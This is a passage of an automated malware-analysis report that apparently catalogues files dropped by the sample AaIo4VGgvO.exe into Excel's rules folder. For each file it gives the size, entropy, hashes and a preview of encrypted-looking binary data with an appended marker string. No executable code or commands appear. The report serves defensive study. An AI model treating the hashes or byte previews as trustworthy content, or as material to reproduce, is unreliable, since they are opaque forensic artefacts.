Preview:	<?xml.<..Y.@v<x.%...o..iMZ.2....1b)..........I.X...3..../.b%..U.WX$e$9.....k.KH...j..<k..)..g..gT..l...0F.3u..}G..&{%1.I....R..w.....Y..D.....-<.........c.._}....w.....x..C...Py?..'....x..M.7f.i.O%..e!x.hi.#ri....C..j.L.O.?...p....eQ..85f.+...:J.4..Wsp.3.o._..-x..iLJ.0....V.Ex..j.lI.......[..2....c..i....,V.NP.S...K.G.X3@.?.....2...S8.].....T........7/.......q5.\|G.C.....i[t.6NL7...r.a.N.Mjl>4.s.#.\.@....E.8.%.o%.+2.. .A4....E=....Z.......`h.d......`.)...9q.....M!...m.. .'..'..=j.J..z..;x......f:GO\....TW:. D...f..B[DO.......~O...b.A..%........%.F.....8.....sW.R...IP...}....s=...~S.q[..a....D....Z&.J..@B.....`...-...L....K).K.f.,........5>.F...n....oSN3.....7..].L\|.a.5.0.._c..c..2nkSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.716459181077543
Encrypted:	false
SSDEEP:	12:USOsmB7FZTNsjSJvbNFHSrFO60r1nez8s/gmeaR6R6z7mePvvUM2/gkMQ9jS9VXp:USOVNNNFrx1nel4m427mEkFgkMQ9jSf5
MD5:	3675A861E68AE68482C9ADD2F6E40D54
SHA1:	A8388CDEB6AAD691EC86617093B91538467138AA
SHA-256:	0FF5E8D0E501A54708FAFCAF94DE406053A7E904ED3513C0E179E4703B376F69
SHA-512:	93AD49E2FD510E5C04A34A4C43B75F37307648CFE25EEF091D30F13CF399E8798D0F6EE81A78CCF257986585D6EFD47455453494B96FFDEF3444FFC8FB528496
Malicious:	false
Preview:	<?xml$....S.II..,k..#g,x..p.E..Pr.....\|...O.`.s>r2..h.Z....RI".y7A.....(3......[...i.....f......\.52j....FL..F.k.=.=.h..u.D...b@..M]..j\....Sm..8.b..#W_..._a.f.......r.....g......4w..g?..X...c....=>+$...a..uhR....`Z...n..}"8.......J.v.....l..t....\...u.N..x..X..5.G6...Z...e?...I_..I).......I....{h...l..X....4(.i9..Y.]...A....z"..Nd.L.+5..R.W.8.!iL.....L...APG..$..o-b......N.5P.7.......5.q..r.L?..Hw.(.......4+.r^..s...A....:...-.......C.n.6.....W9eX'. >....C.VV'..).Q..q.-.U.]<Z.....n7.Q!......9..*\{^...k...:...5...f...B....?U.:...F&!iY..&.f...Y$.7.. .R.H-...._.hg..cNM...W...>.G.m.......(2.6....w.9!...d...I.....[a.0...e.....j...,SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.73476413205682
Encrypted:	false
SSDEEP:	24:M4bsR8FcFiBMCAjks4ETWTmimFy7/5pLbD:XblqiBMCAIuAyaPvD
MD5:	2ABE8A260F0FB2224E2677184B0C1753
SHA1:	B766AED57DCE831A812B6D287E4BEC9BD0201882
SHA-256:	F349C083447D7178B6E1967DE36AA3E47D747337F6BAA4EDDCA7A414E5FC4AFE
SHA-512:	80D5936563F2C1CF3C637CE472A56B735B61C0F4BD8D322D0B029E4EC44C98A709E00F8CA1A17C57E5780C5B8DBA2D70838AB3A5E7F48BFF88B7C998D9702268
Malicious:	false
Preview:	<?xml.].}.e.J..E...O...d..Z.!.M..e..U.8.r#..M._..........h1...m..R?..G.8.\.u...M......q.!T.f.?._...u...vP5@'i...#G.....p...R..$..e...W..+..1wa..A.c&~/../...9....-..'..px(0.Pu.......R5k......;wT..#".....\2....o.....R.....R.$...B.+.k$l/....CZ..-0..,.h.,r9.......>..XC.<........ ....ej:..........AG.....sZ....S.!.MG...].....q;&....o.C.Pq7l.......J.+......1e......\|.k!.R...4...,....b..~...q.6....mY..'7.@....D....P..E...6Bj.(,R..;.nv....M....[.u,..x....V.>...j....Px..F..we!.R..gYZ.<D>.._Pdu5...j......[..c.%G.m.@....d..6.E....,.#.....'.\k.{....0"...0`..?h&MJ.6[.....Q.U.s.7.[.zt.y).z@>b...M.:..6e.Z...k.:n.......uE0..._.g8ho$`O..B..J<4....}s.....A]..C.u#O..b.,F?A.)\|....O.. ..Cy..[.S-FN....ijz.Q.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.702462225514478
Encrypted:	false
SSDEEP:	12:Zy3l/OUQixypqMXsDuOf/Qh5t/bJxT+9azV2oRL6imBN0PZMYJwH1+cii9a:ZuEUQiMpqEpNN/fi6HRL30UbD
MD5:	5C5F652087861E46E36C3C94118C0E9F
SHA1:	C2464A398494AAB424482B50013FAD464D1FB6DD
SHA-256:	D7E36E36708CF2B2F80083DA1F16F693549C12EB2FA4E3B0E032922414591928
SHA-512:	582F097AA0AB188E98434BB035843B4D3C9294275790F50D0A6D967C8CA39C5C1F1F449EDBAEEA5E5E932EF6BB606F285F778DDB8C69F03907A8053D024470EF
Malicious:	false
Preview:	<?xml...@m.}...x.l....A.....[Q.{\|.Vh~Lp..Z2J..<r...u.".....r.= ;.e.t.&..\|uT=N...kb...d3.7-<..F..\|..;&.a/=..Qx.~......'...?..).......?.e..F..3....C,...%..b....L..\\|y.b..].R.}...Y..p.K.m.G.....\|..0...k_L.2Y...s.w.~..I....]..M.4mW^A{.%...B:..\|...&......#...:.D........i....8.\.@.^.E.M.b..j...~....Q.}\|.DM.[..M%....3....f.l...W....."....I,..3.3@.l.0...]..({.....~.T...C....nBX)<%...}..\....S"Q...Z..l........#...>.......4R..,0x... Q........I...........sS...~......3...Y..t.5,.sE...Gz.6A..R2oJ$.......O..k#.}@?....<.2B.0.b..7H.... ...'<.?(w..0.V.'..s.x....'.S..s.p.Jyn.o...j....V..........b..O.f.j~..5...ww .R9.(...h..c..(...6..0..<C...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.708293187686154
Encrypted:	false
SSDEEP:	24:QTyNqnUmlM9tEQrTGLb7YRFfPz5flzr7jbD:QGpEz7Y/TH3D
MD5:	5E66955A172354764BCA4879EABAD158
SHA1:	C8317AB422ABBA8E795657DFC959CC4CDDF64951
SHA-256:	B52E0B66F67F573ECD77004930A80AD371A8DCFC117D78D463BB2E44B630CD3E
SHA-512:	8C701C827D30AF867011CD66B757FD84944DD332293DC700B20BFAD81E899530325D1BD946A1ACE9F0E05962AB9EB3B72E1190FB3BCC66891481825D2FFB3DA0
Malicious:	false
Preview:	<?xml-....U_.&...@....\|...Oq....5.4v..!.........{.;.....Mxv.O..H....v.......}...w.W.X..."O.../M.\|f....B..x..w.pm4P..U...8O...G.kI.'k..............np.F~.rF.z.....1.I(...........m.1V4.x....N.....yE.4?..7....&...I..),.;1.:.v.#....,=...oK.:....n^.!.yO.w..R :..m.....c.s.Y.(.TzB23.^X"...a.bbW/.G.5....3P[.A.B_..oV..B..)....Fh......."...?........E2.@K...R......x..p.:...C......-.......T.. ..H..S.Pp.n@(....Z....2.g.FT.M>..v..5..)..6.p:....S...V..J.......j(.L.K.....S...?[....U..=6.e...\|...8J[M.....>._....@$......g@...O.k...>...M.\|.?...-,Og...Nk!I..5.mpY..5=.-b.,.....V ..D#...{=c..r.'...z....x...W'.D.C...Y.1eb.........Zf!.......;.........\|Z{.S.7..0............s...Y...1....o.I.38. .'.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.720632211527823
Encrypted:	false
SSDEEP:	24:W6xKEYFbNHSA/L3fv++h1YQxGMJQXrxsxCgV+/Ah0uoDbD:b0EstS+L3XVuXCxCgVeAibXD
MD5:	20A0313C89C4122E696351AF66CF1DC0
SHA1:	F2FECEE9B07B0EB35AFF9A7551A526155DFAFCBA
SHA-256:	FC1B03AF998CC4F20DD963F6CCDB3D2ACB113AEAAFB26FD3271A89EF387DC8C8
SHA-512:	82E81C810A55A109AF76A1743038E9E7A1AA41998310A72CA35C1389804C95563B37C86A94F13A97C9E61462F3D19F7F4EF1F4BCE6E1579C7960E92E88084C00
Malicious:	false
Preview:	<?xml?.. ...G..x...m.B......[:/.U.v.0....H.{V.2..98O......dp:s.;....._.../.\|...X.,+..&......a..l.f..6.....f.0qC+d.o1".....Y..C.X^.Z..}.......\....E.6/...dZ%...Ka.D.x..hV.K5..z.f.pj..l=.O.....j."......s.oPg?xm..&..39..Y.F;...U...}+....\|F...6..".4..:..E'.].....E.p......(.. ..#......[v.@._I..i..y..u..f....'......7c.m>.........R.$t..5..%4.....yU....<..p4.r..(..qN.&....6Y..qL.....t....f......P2p7..1....`..Y..../.....jy)..[F..-..-.......?.,..$.+:.uA.w.b..x...E.:..-".....].A4.......Vu....&:.......<>..{.)...@WQ7:...f.S....5..n.IG6.T.*.S...?..:\.4-...U...!65..x.o.....}})..6.a..t..ZC..z.d...b..?Dg..]Jw..~Uf.K+s...CW..,s.....9jxd..C).....}....0i......#..j.].y^..........=7"3..Ii.\.)..=$T.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.696765591846511
Encrypted:	false
SSDEEP:	24:NvvNWV6iIu63J5HPQAsg8YrNkE97eS+dUJlG31h0bD:NvvW6ih63P/8YrNkTSM53jeD
MD5:	6F7C25DB722855D229938CC5B1B4A5BE
SHA1:	ACD0C7DA767C5EF21E49C293A731794DC0C5AC2F
SHA-256:	91242CE6E86CBC75B14CD2B7CD46CE517CD2CCF1CF3C7AE7C1A58DD7C0EB02BD
SHA-512:	A29EA8BA5B8C2C5AD4E51D929C40B6C827C393DC0E9B5F4F65496F471F706F9763BC3AE58272884F5D431925173668FD2F3DA4D3C4DA6BFAEE36A2F41CA6F38C
Malicious:	false
Preview:	<?xml.Z....K...vR...7...Y....=n.....J`.i.k...$qO.?.........8.3...q.....'.....).hf.ZX.f....oF].El.N...G&V+.?.1.....D.!......L5...T.....1,.$.Lc........i .2{l].K:z.......!.2.q.....~..j...m^...#..{.X...U+.Z.(.<...4..A.zD.0?.h.bL..Z.B@{Fm..E.F. d..vZ..d...FY.]]^.F.&.Okj.W...c...s..V}<\.5.P.A..^jd.N6.T>Cj...p.............Z.#xJ...5%ER.....q...\.:......[W.H..V.._.....r....\!..Q...a.mbE..J.(.bA.....9.`.$.l....S..!?.f,c.e.... C.......k....5. .?L...B...BI....u...e^e8gXN-.L........iS=....e.H0.^..@.k.,. ..'._./\|..^.?\......-....#?.fT .#+...E...R.38.E.{..R..r.Vc.}..r....L.......'.O.V...!..3-.6<....F1....Y._..4.... .X..2e.N.u.F.rE..P01..FC...........)Zg v...-.#F1^2.o.6..5U..u/..cJ>....~.O...0.m.....(...h.A..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.715179244179442
Encrypted:	false
SSDEEP:	12:EMEUO3BR62+xDtyaphTwb4jaCG6VKCSvKai+5ibHiA6CSbcw/H1+cii9a:ViAJxjTs4jxG6VxPp46HikIUbD
MD5:	AA43F149B3347674CF613229CCC7383E
SHA1:	1AF3AFAAC6DAC2D5CC80C5D1665A079C772B7580
SHA-256:	F861E786031D8D9499D11DC9159540747C4465203109FA531F171AA53C9171DB
SHA-512:	45FDAC8FC3CBE0E8A476FEF58CD18782573F3F2056C17433A10CBA144AC9021DDFA81A765BBCC337EA71E54B90063D2D86184165C2E4C011D22FFA276A1A579B
Malicious:	false
Preview:	<?xml...._-.^.@).O...Z..to.'q3s..#.#.I._=~.x.......ZACN...?.......h..NR..d...K...r^&....B+.o....q.@....._.g.T..),hm...`..._.....0e.........S..Dth?JT....T......v.![..O..EO.>.W...1....t^a..z#...z...}.Zk.IB5..}U.v....-...9...C.J5c.....J1..'4.. >.8....+.oK}@.o<....d..$7...Ex.....e...Aa`/v.P.~n.......1dw-......x\|.......,kiboO-.R ?.t.s...RB.w...JK..s...:>..T....O..(...WF.....n.....A..6.Y4..~.L...,-@G... E.ShA.....3.".h7.v.8!.'^.b.T.0...b..X..{.Y...`..th..G..'A.M......m6. X.v._k<...t..g..$...e......?...=....h.W....R.6\~X%....Fm...-}......l.I....hFLT.!..KID..Q.8\u..x.{.vyQ...;...wH......%<..&.....Y5(+...=.......}...rf3.S..@...!.h.9..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.72104158423095
Encrypted:	false
SSDEEP:	12:8MDKUXhiUgGo1X/ZipLhFKdPwTRcajJs16FyvvI7003enJvQ3ga9wzjKO2icHs14:3DyxZiFKduVmlF0uJvQ3ga2KNZbD
MD5:	C86C9B6B94CCB2B6CDC5F67E78A514C7
SHA1:	A73FFB7AA5E9E26E48437F40D07E4D45E93AB217
SHA-256:	8BE3C384E6539EE0987D2A333E767713773BF82B416AD6AFC604E1188120D516
SHA-512:	F499C8A624F183E99419114D7EB5850A19DB73D8D08198AE0331B296DDD29367FBF05ADBCD6FCF8C95CCCF90CE1C99556A54C268A35DEAC174563C0B31D4A464
Malicious:	false
Preview:	<?xml........~.p..i.).U.T...pyoN<;.u...M.xP.R....c.........12D..x.+..95.u;2....zk+\.ud.....]?.PzE.[.^i.+]..Z.0.....-.7[.2..O...H...3......:..3.@%..kd.Y.IA_.>...^e.b......_X......w...boS.....(..5....=....&GUd.6A.,Bn.>1V.I..2q.H..../..!$.......,l+.{.....b.K..l..H...e8Nzzj...i.7%]f...gxMe-.>...UTlUm....b_..3l.y..y..'&.JP..V.d..A.mx..e.W_.....1./.E<....].;.E..w.r..........:.8...I"...a+.&.Pd......My.<wI..].....i{b.......V.g3.[3l..8...9...p...a...>.5..f.....f .i.(......}'.`.....bu..3..W.L .?tS..o `.>wh%...{..h.....y..r.i{.....wE..H.Q<...j_..U...[.5.1....@.1%7.D.X..LBp...-...d9...G.Xs7<*.M..q.d...#..S..IUy3.[.i.....n.2R.s.%..D.u./..0H.....m..Q..3/.z...2G...c...sf.....:o..t.....`71..;"...?t..@.ySLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.712750341323938
Encrypted:	false
SSDEEP:	12:nfXMoSZwtYhXAimtpOl5/gfT8ycv8T+lV2REa7wnsaT1P2a0CuDlcdVSB0s9S1+X:fM3Zw8DaIIIy08T+3gEasnsos5s60sLX
MD5:	BF4D40BD20C95A638D9D347EB2B28CAC
SHA1:	49DE44BA0CA6B2C9CC45FA693A390976B5EE801F
SHA-256:	4449AD04510F519E56F9B827484A556D302DF81045A9D7144638F3470ADB1654
SHA-512:	0BFF6F389EA8B025DBE34DE979F30DA39579EFDC3E60250FF86A624739B540A7141FC4FEA86223D943195001409B4358262E8C4D9341B80F6154A010D080C53D
Malicious:	false
Preview:	<?xml..H...1..}:t..a.M.{..dd.......q. ...+.e.@Y.HTd..........d.#...E..J}.#.N.z.q.'%.8D.12C:.G.,)......\z..@.l....v..x.._i..k..........6!..,.>..{......bf.7.....Cy.].+I/..8.tU.{N[p...&n.....n.....\|w.\|...'.m.]\5..I.<..a.5...a..H.C......>.6.(..=?...;=.9H%..}..(u%.L.2.k{b.?..Y..y.h..ZC.......y..)e0".U../...T...XD..Q....=v...l0&.R5r.q%.....{R...T.I..tK...].....W./.x..\Tk.%....?;LE.&...y...#.)i.4....@......N..... .`N..c\|X.L.....Ze.W.8..4?..s.\./5PN.9-.../.K.....LR..x....:").5..b...(.LcS.rt@...~.@....o$.w...k~...V.SY..........)...ux8.'.@.4.(.rh....V .....ZF..!..4.c...s..^.911...>.....7.esZ.0.F.ce..\|.+#.....p.....N........UX.^.<....m....y.%...@..^.&\|..QSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.744645278536303
Encrypted:	false
SSDEEP:	12:8zIKURBtJEvnVqGsbrATHBwc3HbG39YibCndmcSNiKgble1Q1oD1RnCrw6sGO1+X:8YBr/GsbgHTgAYlDw81RnCrw6sGFbD
MD5:	38B45CEE82B1B1FBE55E29D1E314E863
SHA1:	AB0436DC5804B203600F052AEB3153125BF319AE
SHA-256:	6A9CD1E63B83684838FB6FED00CAB6386018D894B73BA4828F9AB2BBF836D314
SHA-512:	5E9AD0B456F528AA7763757056A8D9A7A370A2896C821F765D9CB3F30ECCF35AA2163B41167B89A5B2EBD919A5F6767C52154DAD435FAEC90E9B8D583A226994
Malicious:	false
Preview:	<?xml..C.y.b.C.s.j...OS.-i.~B..J*...W...ca.X...u...5....>d....;.(..l...H.<.b.....N.^a/../R....r....B.a.....JT.........E....N">-#\.....)..i....... V.K.a9V.g+....w.j=9...j...B).....noj.#Y).{i:..GvR...xC..f:\|..~......K...b.eV..v..^]u.cA...&P.H./.D=.,.h....4.W.-"..X"..Gd.....3..#.fXu.qrb.YW8....g.".$........a.0.`.3.y.&...Qm...'b[(...VK.h......[.G.y.@.(#.....`.7A.....7.D...0b...).<R2.....:...9...T..../.k.bgv.......3m.<..m.}....Z4.}..h.%.l]...0..T..u.YU..h....V...?.zP.v.k..:.T.B.....>.SLls............ ..{2.A..K4 ..]X...%em8.+g"..,.....e\.s...U'...R.@N]z.....aj.l.P..gE..0...T,.Q...+..Fn.{%.>..$.0...M....Ds.eo.<z.b.LS.....Zhe.:@....H...X...>R.$...Y(..q..K..ND,<#u.....C....f4?..R..,....s.(t.!.N...".'..V..[.x...O.e.J..T.....0. ...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.778278796540975
Encrypted:	false
SSDEEP:	12:fCaY0f+4CbVU7lBczHl9W79XhvnG41bW3Pga16+xuSMR9aBuTIG1i/GcH1+cii9a:1Rf+4UyJ+ga16NSmEobD
MD5:	30D8D456C29E13ABEDFFB90237E95C84
SHA1:	41213B7DB5F926362942391C0A947EFA5F55A6C9
SHA-256:	E961399F6D656936EE82887A6BD770E4FCACB0F9C57413EA5C5C29565B01DC4F
SHA-512:	640B190D6AA10151FF1AFED48CF18042BC27E3099569ADF2C69B8BA2F5D8CB69A07FE506D3902304B473FA0DCA409CD79721DD90F2DCD48B2914E58CA4FB0B60
Malicious:	false
Preview:	<?xml$u.k.....@.3Qf......E.js._.F..0~....~.6.....To'$..mW.G.O1>wX.bx_...c...5...:.A4......#........C.b?...P+..K.D.I.aw/...:T.f...,....k.........z#...=....C9...V\....2....Tr^.}%...A.Rj......f@a...r-..y..."..8./.}.$..;.4...{=..H.V..]5.r.;Z....A.k..j....H..+....Wn.#.M.;...S...[.n....$..\|`'..........$.n/.).e-<....YH....q.y.s!.f9....Ps....z......z?..e[....B.{.1{......L...c.....`..)..."g.......~......mg.....r.&....ZG..'.{..1.B.z...Q0;d...t...).r~........j........e..c.....K.A..._...."..G.@...i....?......N.O7..f.1...E...G..:..ku...b.I..'...^n2..W:.P#.(....WO...x.H.T...L....p]......~.\|...vY..].;..J.B.(4.J..\..4M.l)\|SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.75856417906682
Encrypted:	false
SSDEEP:	24:W4LTCqZdOLcMJWdlrP4PbmCY5AuKKYdHMPnapibD:YqiLRWzPwmCY5AuKtdHuKwD
MD5:	79E82411CA763A4D531B0305CB1D6359
SHA1:	C0953E3B953FC82C52FBE1C9DCCC6B3DFBF4E9E9
SHA-256:	04EA2D572FEB85355893F4D3FF813C82745A2DD95A8282D45F36721D5826D1EC
SHA-512:	3293627C618F00C60C884ACB68769606B69334577E4F74AE1E4D2BE30AC7BA17E5BDAE3ED10182EA7F271F5D4BECB3F204DECFA4DA571743843386A15A693606
Malicious:	false
Preview:	<?xml..Z.....x...?......\...^x`#.o....i9.A...u.&...Mqu..,#...-=..X.t.T..ish...9....j.Q..l.....%kc.....0m~..]..g...c..k]\|.k....6.v..zj_gq.....DY...z.6...v..................#..p.I,h.q..ja.....pA.j..5...&b.H...8.....T.......C..;.D..%RY.....o....a.3.`.:.r(..]L..}M^S%@.u....H?..Y...W,N.:.4A...f.`...f....~.YR3W.%..S>...:...,..].V...^7...M....Y\..m......[m.L.*d..Y.W..w...b..F...<.'O$........I.C@...p.&B.O..D......7.EA.Q...q3.@.O..}Y.4.4.....5...Q.Q@.).Y.^]._..k.....@..#.w.X.D.Q.......g../Lg..-.r.._.A......../T..a.C:.....i..B]..g.RBy.l..9...y....J02..... T.t..q...L.w..(Xvb..8....U.1!.!.z............M..h...w..L...P.2.m...Z.....0=.......wn..R....N...w...D.pdRV..C....vGp..J...P..0.=$.A...OSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.685911393847046
Encrypted:	false
SSDEEP:	12:4xDh94WgKpsBrbcomgUDwIeTPTPJqUwYLbOXc0FuWMOiEDr4zOlYgHiCvf1+ciik:45z4WgKpibcomgLFT7x2M0cAr4zOlqCG
MD5:	07A320F21C890E56F195AEFE60F18996
SHA1:	E7F977C6EAF11F53CA91144491D04899B04C6D39
SHA-256:	A3EBFDA7A4560CE9DE1A21FBD3BBB1DF33BA4008C202595E063A2BA58EDBD40E
SHA-512:	62AA8CDCC4A7A38A33BA061314605E49059474701127207C07C725E58F4BE88C578BB53BEC29A084D82924986F655B58A94ACEA516B566DC801C1D3A73E57B57
Malicious:	false
Preview:	<?xmlGm...5.?x.,.3..Yw.......`d.....!h.~UR.....Rt:...oo.t#2...c..6...H.,Omb....X.IP^..x++j0.>H..~.y..rt,?...x7...J.%...b.......W.o....t...3......NP{.t6h....s..xs....G~..(.}..6....5..D....v.#....2{8.~...F...X.":A...\|Jgw..Z..E..,e...j..XK.~9....[.....h...k`.0wcFl....%.J... .@.S...\|U.).n.H4L...b......U{...b.p.4..+V$G...\.[.>i#5..a...6....s.~...bs.rv+nK.....k.&W.?4...4.....b.~....:x0.m...._G.yI.=..PC.)."?f.....&.xiFa5..\.%F..s.qO..l..."..w.B}......>....e.C...b...]e..vOr..4K.....'...5..{..<D...}..E..q..%....8.'H0.....a..ke........a.X..Ti8....P(....b.W.G....:..~$e,..-U..zG..4'...h...E)....B...\|.l..\..d......w1.7..mH.Y'..U,p.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.713400854808474
Encrypted:	false
SSDEEP:	12:UHHvYx0dncwvimatnSAlMDQ0EFvZiJaRstZBORm64QXA/cqo1+cii9a:0PYxEcznSACDXEFQVtr7T08bD
MD5:	59A6C16FDFBA7A629E85B085A1F90E65
SHA1:	895CB8E4CA27942E37AB4B0D7169148F3C62EE8C
SHA-256:	ED3538A55EDADF9A50543105B556A52CF73E3AB13557B066C1487BE24FEA77EE
SHA-512:	9E632364896AB7D3A2E1D175921BBCD4355C0015AA03EE77C244C1675AB91EC273285D6903F836530E473A9DC6C3DE35E22E8CB5D46C099B321AA4D251592177
Malicious:	false
Preview:	<?xml))g.ss....."R.e1`m.3.Y......ba9......g..q.9.(.(...~..,K..%8.!...Px_.Jo.]b.."..:Wtod.....))=..SG......?..%..~Wo.P....XBw\x.]...x.t...}.ym.....ee,'Dvx.{q.[.C..].$q,.......m..W.]%.1U....A./..#ja.B.\|.....Q.3.:tJ.'.m..."RY......9.G.]...\|U....q._.o.aq)...E..j.N............ST....P.7Q...\|u\..e8...)..XF%S..d..i.6S..C....'.......9.3.L=.Q...7..'T.h.m...Gf.!.O..j*...Yg.'x.=._5"..-Q.....Uo.1..d...E.....T...M..x...\.RB"...]7.K..`..{....,QY...U..l..S.......XO...P/ib...y~.O..+.9.i.w.8fU.=fK...?/x..L........3......p.].8`e......~.Td..iv...p....r.k....v.64_.H...Az^......./...)..z..k..x..w...)..1.`:."....o./....v.=....3V.K.....a7q9.sQ..{.$p.wq.ox.1...,3...0...W/....}.Y.00..N......L\|..'..+....mSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.71534969019882
Encrypted:	false
SSDEEP:	12:MjII/AbpSgu4QZmKPXJDbUVEzDYQZra/2+TTWkzRelSZNpXywP0+f1+cii9a:MjIIIbp7ud1jEQZra/xTTWo40piwP4bD
MD5:	9C8E524529F95151797F6AC27CF1FF55
SHA1:	B3D5DAB0330860BED993A36E39CEA94F99436C1C
SHA-256:	14949A566E5C8852316ECF7708454D8330B02C4058AFA01AFBBF35A1FAE57ECF
SHA-512:	75C75AF97BFEFAD8E35ACBA8DEEFD8954A0E2C6D81851BCD5368DB0993521B32DCDF7319995EDB0EDA532438F9666F066B24919E5855C47C318A9900434BC159
Malicious:	false
Preview:	<?xmlz...(Pq..-.nE\.z..jV.Q4a......@..C8..h....\|)aK.%.4.L.\...GD[1...Y.R..a..^.v.v9............C....?.f:..G.!........7...`.C...Q...E.'%...0.Ic...j,Q)Y./.^?.#.k..s...D3.X.RYP2.8O..&..`>F.ml..o..._.5..d....?=H.....9..<...Zj{.(x.....e............a.3.a...~..rw..$....\|pG_,)h....G9....r...T./.+..H.N..k..]2..C$.+t...;........U..J...x._6...K.l.U'\...9..u....7..g.....p..&..2.K]..}.X.6....>.Y...5..R....S....M.1<.M^..:..$....H>(.....EB.7...'..B............~.Q...[.L.nC.U.....IM[.4...<dJf+g9......o.}Ca...Y...>./.w.o...QL.]xB......l}..V..v.Ea7.....F.q.Ski.N.z......%..m..<..8=........z.`.\|.U.f.:{..@..y...'./...B....e.`ZLoE....M.*=..nub..5C....Hc.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7343134722164635
Encrypted:	false
